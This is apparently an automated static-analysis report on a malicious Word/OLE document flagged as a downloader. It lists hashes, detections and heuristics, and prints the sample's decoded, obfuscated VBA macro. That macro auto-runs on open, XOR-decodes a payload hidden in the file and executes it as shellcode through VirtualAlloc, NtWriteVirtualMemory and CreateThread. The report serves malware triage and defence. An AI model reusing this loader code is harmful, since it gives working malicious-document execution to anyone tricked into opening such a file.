Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dee8b71bf1fc97b1…

MALICIOUS

Office (OLE)

96.5 KB Created: 2017-07-26 04:48:00 First seen: 2017-08-08
MD5: add77b650800db0e2a6f344f5dbf0000 SHA-1: 1702231e90eb1d518c1b2d70a0c8d36fd86c02b2 SHA-256: dee8b71bf1fc97b19cf23848866a33b90f02ea9df0e5982382030e04b6ce08ce
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OLE document containing VBA macros, specifically a Document_Open macro, which is a common technique for initial execution. The macros utilize Windows API functions such as VirtualAlloc and CreateThread, indicating an attempt to allocate memory and execute code, likely a second-stage payload. The ClamAV detection 'Doc.Downloader.Powload-6809817-0' further supports the downloader functionality. While no direct URLs were found for the payload, the presence of obfuscated VBA code and the use of API calls strongly suggest a malicious downloader.

Heuristics 7

  • ClamAV: Doc.Downloader.Powload-6809817-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6809817-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Public Sub Document_Open()
    ieORnCrVsftAyVVClpMZLOTXskZwM
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
    Document_Open
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4907 bytes
SHA-256: 13a8c10d00bf2829cba2ef3a802bf24d8f29eaf744cda49e893aedbcecee59b0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
38 of 72 identifiers look randomly generated (e.g. 'ogxQBhuKyRsZUygddHlbAkgEayxwuBQrQarQEzzH') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit

#If VBA7 Then
Private Declare PtrSafe Function AbkLBQSfvOFFjNjrmRtEIixFqvTP Lib "kernel32" Alias "CreateThread" (ByVal JywAnyWBGMbfhpuZbTxctbIp As Long, ByVal XNBrgpVeXxJmDd As Long, ByVal atnGxnbkpuGnL As LongPtr, vHQhhpKukAxfb As Long, ByVal RLMxPgcZO As Long, SfWCm As Long) As LongPtr
Private Declare PtrSafe Function ctiinavVpIb Lib "kernel32" Alias "VirtualAlloc" (ByVal bchyhEyGXhTc As Long, ByVal TcOhgTJwZzjWnVvLbEtrEJy As LongPtr, ByVal muOlkxhyNewG As Long, ByVal ngzBSbDYCU As Long) As LongPtr
Private Declare PtrSafe Function NtWriteVirtualMemory Lib "NTDLL" (ByVal cVWDzKijDxVMfxmCsLjjz As LongPtr, ByVal ANyTQMHUsKAgjpBDYcVmdMru As LongPtr, ByVal dFzlntLjnuifFU As String, ByVal CIfklZoWaOMgnmL As LongPtr, ByRef wdzMghJerOWVUsytiAKuHhiv As LongPtr) As LongPtr
#Else
Private Declare Function AbkLBQSfvOFFjNjrmRtEIixFqvTP Lib "kernel32" Alias "CreateThread"  (ByVal JywAnyWBGMbfhpuZbTxctbIp As Long, ByVal XNBrgpVeXxJmDd As Long, ByVal atnGxnbkpuGnL As Long, vHQhhpKukAxfb As Long, ByVal RLMxPgcZO As Long, SfWCm As Long) As Long
Private Declare Function ctiinavVpIb Lib "kernel32" Alias "VirtualAlloc" (ByVal bchyhEyGXhTc As Long, ByVal TcOhgTJwZzjWnVvLbEtrEJy As Long, ByVal muOlkxhyNewG As Long, ByVal ngzBSbDYCU As Long) As Long
Private Declare Function NtWriteVirtualMemory Lib "NTDLL" (ByVal cVWDzKijDxVMfxmCsLjjz As Long, ByVal ANyTQMHUsKAgjpBDYcVmdMru As Long, ByVal dFzlntLjnuifFU As String, ByVal CIfklZoWaOMgnmL As Long, ByRef wdzMghJerOWVUsytiAKuHhiv As Long) As Long
#End If

Const XvyUmmoWFFDw = &H1000
Const IkmPDrtZGFGEDmTJmuouOALel = &H40

Public Sub ieORnCrVsftAyVVClpMZLOTXskZwM()
    Dim dfTakQuGTJuYwbDIYYDlIvTHmtk() As Byte

    dfTakQuGTJuYwbDIYYDlIvTHmtk = BcIlucuJUyFxFVeXtRfIMOuyi(ActiveDocument.FullName)
    Dim zcCVjxboGyLeiFwcEMrRuJmbT As String
    zcCVjxboGyLeiFwcEMrRuJmbT = StrConv(dfTakQuGTJuYwbDIYYDlIvTHmtk, 64)
    
    Dim mHmmOQGChQhzPYaobA
    mHmmOQGChQhzPYaobA = Split(zcCVjxboGyLeiFwcEMrRuJmbT, "ogxQBhuKyRsZUygddHlbAkgEayxwuBQrQarQEzzHJWzbVICbkZtWoQCdaSPcJYqWbaiUhpzEhDrELeJrVwmviUdZ")

    Dim ycdZQczbtwP As String
    Dim XBIBqgeNHjcMGkuglzfFpHQHlSa As String
    Dim vubDnzmNgKPlVSPXJSFxvmOXzOGq As String
    XBIBqgeNHjcMGkuglzfFpHQHlSa = StrConv(StrConv(mHmmOQGChQhzPYaobA(UBound(mHmmOQGChQhzPYaobA)), 64), 128)
    vubDnzmNgKPlVSPXJSFxvmOXzOGq = Mid$(XBIBqgeNHjcMGkuglzfFpHQHlSa, 3, Len(XBIBqgeNHjcMGkuglzfFpHQHlSa))

    ycdZQczbtwP = apxgirmizzhXHZBJUJwRTXs("nQLJwYLGCaUAITUzPO", vubDnzmNgKPlVSPXJSFxvmOXzOGq)
    
    #If VBA7 Then
        Dim KwRNDTL As LongPtr
        Dim yLCsKRuprPRpJZvntl As LongPtr
    #Else
        Dim KwRNDTL As Long
        Dim yLCsKRuprPRpJZvntl As Long
    #End If

    KwRNDTL = ctiinavVpIb(0, Len(ycdZQczbtwP), XvyUmmoWFFDw, IkmPDrtZGFGEDmTJmuouOALel)
    yLCsKRuprPRpJZvntl = NtWriteVirtualMemory(-1, KwRNDTL, ycdZQczbtwP, Len(ycdZQczbtwP), 0)
    yLCsKRuprPRpJZvntl = AbkLBQSfvOFFjNjrmRtEIixFqvTP(0, 0, KwRNDTL, 0, 0, 0)
End Sub

Public Function BcIlucuJUyFxFVeXtRfIMOuyi(ByVal vjpOmgsZFxhMFmHQsZwFu As String) As Byte()
    Dim XBIBqgeNHjcMGkuglzfFpHQHlSa As Long
    Dim vubDnzmNgKPlVSPXJSFxvmOXzOGq() As Byte
    XBIBqgeNHjcMGkuglzfFpHQHlSa = FreeFile
    If LenB(Dir(vjpOmgsZFxhMFmHQsZwFu)) Then
        Open vjpOmgsZFxhMFmHQsZwFu For Binary Access Read As XBIBqgeNHjcMGkuglzfFpHQHlSa
        ReDim vubDnzmNgKPlVSPXJSFxvmOXzOGq(LOF(XBIBqgeNHjcMGkuglzfFpHQHlSa) - 1&) As Byte
        Get XBIBqgeNHjcMGkuglzfFpHQHlSa, , vubDnzmNgKPlVSPXJSFxvmOXzOGq
        Close XBIBqgeNHjcMGkuglzfFpHQHlSa
    Else
        Err.Raise 53
    End If
    BcIlucuJUyFxFVeXtRfIMOuyi = vubDnzmNgKPlVSPXJSFxvmOXzOGq
    Erase vubDnzmNgKPlVSPXJSFxvmOXzOGq
End Function

Public Sub Document_Open()
    ieORnCrVsftAyVVClpMZLOTXskZwM
End Sub

Sub Workbook_Open()
    Document_Open
End Sub

Public Function apxgirmizzhXHZBJUJwRTXs(DAiGddySWbf As String, rfNADOjtyzNmmoE As String) As String
    Dim kyScWkC As Long
    Dim iFevaobFUgrPWVoeNZPeM As String
    Dim tPyuIyjdxhCgrXKOtjxisgWPiojO As Integer, HbbAwQaRATejHorEFvfWcRtuxw As Integer, a As Long

    For kyScWkC = 1 To Len(rfNADOjtyzNmmoE)
        a = kyScWkC Mod Len(DAiGddySWbf)
        If a = 0 Then a = Len(DAiGddySWbf)
        
        tPyuIyjdxhCgrXKOtjxisgWPiojO = Asc(Mid$(rfNADOjtyzNmmoE, kyScWkC, 1))
        HbbAwQaRATejHorEFvfWcRtuxw = Asc(Mid$(DAiGddySWbf, a, 1))
        iFevaobFUgrPWVoeNZPeM = iFevaobFUgrPWVoeNZPeM + Chr(tPyuIyjdxhCgrXKOtjxisgWPiojO Xor HbbAwQaRATejHorEFvfWcRtuxw)
    Next kyScWkC
    
   apxgirmizzhXHZBJUJwRTXs = iFevaobFUgrPWVoeNZPeM
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.